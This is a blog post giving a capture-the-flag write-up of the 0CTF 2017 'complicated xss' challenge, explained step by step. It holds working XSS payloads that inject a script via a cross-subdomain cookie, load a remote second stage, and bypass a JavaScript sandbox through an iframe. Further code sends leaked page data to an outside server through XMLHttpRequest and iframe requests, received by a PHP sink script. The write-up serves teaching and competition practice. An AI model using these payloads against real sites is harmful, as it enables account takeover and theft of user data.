Monday, March 20, 2017

0CTF 2017 - complicated xss (web 177)


Complicated xss was a client-side web security task revolving around, well, XSSes. At the very start you were handed a way to XSS the admin (limited by proof of work) and the location of the flag - http://admin.goverment.vip:8000. And well, all you knew.

I started by writing a solved for the proof-of-work, since that would be needed to get any real testing done anyway. First I wanted to do an "at request" brute force, but in the end I decided that a proof-of-work with 24-bit solution space can just be pre-calculated (24-bits means it is only 16 milion hashes - not a lot). So I've run the following script (note that I calculated more hashes just to decrease the probability of missing a hash substring on the generated list):

import md5
for i in range(0, 0x2000000):
  s = "%.8x" % i
  print "%s %s" % (md5.md5(s).hexdigest(), s)

Then I've run sort (the command line tool) on the output, and saved it to md5sump.sorted file (about 1.5 GB). Since I took care for each line to be same size, the final file was ideal for binary search and resulted in ~0.0005sec  (~32 seeks; Windows was nice enough to cache the file in RAM) per proof-of-work on average.

Having that solved I prepared another tool - one to do fast submissions so I wouldn't have to go through the website each time. The tool was basically an infinite loop that grabbed a new proof-of-work substring, binary-searched for the solution (and repeated in the event of not having a given substring on the list), and waited for me to press enter; then it grabbed payload.js file and uploaded its content to the challenge server, and restarted the loop. The tool itself:

import httplib
import re
import urllib
import time

PHPSESSID = "164l560708f930f473k1s461a1"

def fetch_substr():
  headers = {"Cookie": "PHPSESSID=" + PHPSESSID}
  conn = httplib.HTTPConnection("government.vip")
  conn.request("GET", "/", "", headers)
  r1 = conn.getresponse()
  data1 = r1.read()
  res = re.search(r"=== '([0-9a-f]+)'\).", data1)
  conn.close()
  return res.group(1)

def submit_payload(s):
  with open("payload.js", "rb") as f:
    payload = f.read()

  params = urllib.urlencode({
      'task': s, 
      'payload': payload
  })

  headers = {
      "Cookie": "PHPSESSID=" + PHPSESSID,
      "Content-type": "application/x-www-form-urlencoded"
  }

  conn = httplib.HTTPConnection("government.vip")
  conn.request("POST", "/run.php", params, headers)
  r = conn.getresponse()
  data = r.read()
  conn.close()
  return data

def solution(s):
  line_len = len("0000000702e3e0e0848435ed83afff57 00451787\r\n")

  with open("md5dump.sorted", "rb") as f:
    L = 0
    R = 33554432-1

    while R - L > 1:
      C = L + (R - L) / 2
      offset = C * line_len
      f.seek(offset)
      ln = f.read(line_len).strip()
      #print ln

      head = ln[:6]
      if s == head:
        return ln.split(" ")[1]

      if s < head:
        R = C
        continue

      L = C

    return None

print "Complicated XSS payload sender."

while True:
  print "\n------------------ New Stage"

  while True:
    s = fetch_substr()
    print "New substring:", s
    st = time.time()
    s = solution(s)
    en = time.time()
    print "Solution:", s, "(in %f sec)" % (en - st)
    if s is not None:
      break

  print "Ready. Press ENTER to fire."
  raw_input()

  print "Sending payload..."
  print "Result:", submit_payload(s)

There was one more tool I needed before I could focus on the task - a sink for whatever I leak from the server. In my case it took the form of a small PHP script on one of my WWW servers:

<?php

$f = fopen("/tmp/0ctf", "w");
$date = date('Y-m-d H:i:s');
fwrite($f, $date . "\n\n");
if (!isset($_REQUEST['b'])) {
  fwrite($f, "---no data---\n");
} else {
  $b = $_REQUEST['b'];
  $b = str_replace(" ", "+", $b);

  fwrite($f, $b . "\n\n---decoded---\n");
  fwrite($f, base64_decode($b));
}
fclose($f);

The script basically received data (supported both GET and POST), decoded it (assuming it was base64 encoded) and saved to /tmp/0ctf file.

On one of the terminals I actually had watch cat /tmp/0ctf running, so if any data was sent in, I would immediately see it.

After all that code I could finally start the task (well OK, to be honest parts of these tools were modified/improved when I already worked on the task).

The first thing I checked was whether the XSS we were handed in admin.government.vip:8000 or in government.vip:80 context - it turned out the latter, so the first order of business was to find an XSS in the former.

It turned out that admin.government.vip:8000 was using a cookie called username that contained the, well, name of the user. And it was displayed by server-side in an unsanitized way, so that was our vector right there.

The admin.government.vip:8000 side for username=test

Given that we already were given code execution on government.vip domain, and that the same origin policy for cookies ignores the port, we could create a "all subdomains"-scoped username cookie with the initial XSS to overwrite the username cookie in the admin.government.vip:8000 context. Then it still took several minutes to get the proper XSS payload in the cookie (URL encoding wasn't decoded and semicolons in cookies have a special meaning, so the cookie-javascript-payload could not have any semicolons at all), but finally I arrived at this (it's the initial payload that was submitted on the first form):

'"><script>
// This script contains pieces of code which I used for
// "looking around" in earlier stages. I'll leave it here
// since someone might find it interesting.
var sendstuff = function(data) {
  var http = new XMLHttpRequest();
  var url = "http://gynvael.coldwind.pl/0ctf.php";
  var params = "b=" + btoa(data);
  http.open("POST", url, true);
  http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http.send(params);
};

uname = "test<img src=a onerror=k=document.createElement('script'),k.setAttribute('src','http://gynvael.coldwind.pl/0ctfstage2.js'),document.body.appendChild(k)>";
document.cookie = "username="+uname+" ;domain=.government.vip;path=/";

var f = document.createElement("iframe");
f.setAttribute('src', 'http://admin.government.vip:8000/');
f.onload = function () {
  /*
  try {
    //var k = Object.keys(f.contentWindow);
    var output = "";
    for (var k in f) {
      output += k + ": " + f[k] + "\n";    
    }

    sendstuff(output);
  } catch (e) {
    sendstuff("Error: "+e);
  }*/
};
document.body.appendChild(f);

</script>

The XSS payload in the cookie (see the "uname =" line) basically creates a <script> element (in admin.government.vip:8000 context) with src pointing to the second stage javascript file placed somewhere on my servers.

The second stage (admin.government.vip:8000 context) greeted me with a "javascript sandbox":

<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>

Since I actually used XMLHttpRequest to leak data, I wasn't too happy about that, but it turned out that it was enough to create a new IFRAME object and grab XMLHttpRequest object from its contentWindow property.

...
var f = document.createElement('iframe');
f.setAttribute('src', '/upload');
f.onload = function() {
  window.XMLHttpRequest = f.contentWindow.XMLHttpRequest;
  //sendstuff("works again");
  ...
};
document.body.appendChild(f);
...


Leaking the document.body.innerHTML revealed an upload form:

<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="upload">
</p></form>

Since XMLHttpRequest was available again, I was able to use it to upload a JavaScript-created file (using FormData and Blob) and receive (and leak) the reply using the following snippet:

try {

  var xhr = new XMLHttpRequest;
  xhr.open("POST", "/upload", true);
  xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
      sendstuff(xhr.responseText);
    }
  };

  var formData = new FormData();
  var content = "ala ma kota";
  var blob = new Blob([content], {type: "text/plain"});
  formData.append("file", blob, "hithereasdf.txt");

  xhr.send(formData);

} catch (e) {
  sendstuff("Error: " + e);
}

I actually expected that I'll have to e.g. upload a PHP shell and look for the flag through that, but it turned out that that was enough and the server awarded me with a flag in the response! :)


In case the screenshot is too small:

# cat /tmp/0ctf
2017-03-18 22:16:31

ZmxhZ3t4c3NfaXNfZnVuXzIzMzMzMzN9

---decoded---
flag{xss_is_fun_2333333}

And that's it!

The full stage2 payload follows:

var lamesend = function(data) {
  var f = document.createElement('iframe');
  f.setAttribute('src', 'http://gynvael.coldwind.pl/0ctf.php?b=' + btoa(data));
  document.body.appendChild(f);
}

var sendstuff = function(data) {
  var http = new XMLHttpRequest();
  var url = "http://gynvael.coldwind.pl/0ctf.php";
  var params = "b=" + btoa(data);
  http.open("POST", url, true);
  http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http.send(params);
}


var f = document.createElement('iframe');
f.setAttribute('src', '/upload');
f.onload = function() {
  window.XMLHttpRequest = f.contentWindow.XMLHttpRequest;
  //sendstuff("works again");

  try {

  var xhr = new XMLHttpRequest;
  xhr.open("POST", "/upload", true);
  xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
      sendstuff(xhr.responseText);
    }
  };

  var formData = new FormData();
  var content = "ala ma kota";
  var blob = new Blob([content], {type: "text/plain"});
  formData.append("file", blob, "hithereasdf.txt");

  xhr.send(formData);

  } catch (e) {
    sendstuff("Error: " + e);
  }

};
document.body.appendChild(f);



No comments:

Post a Comment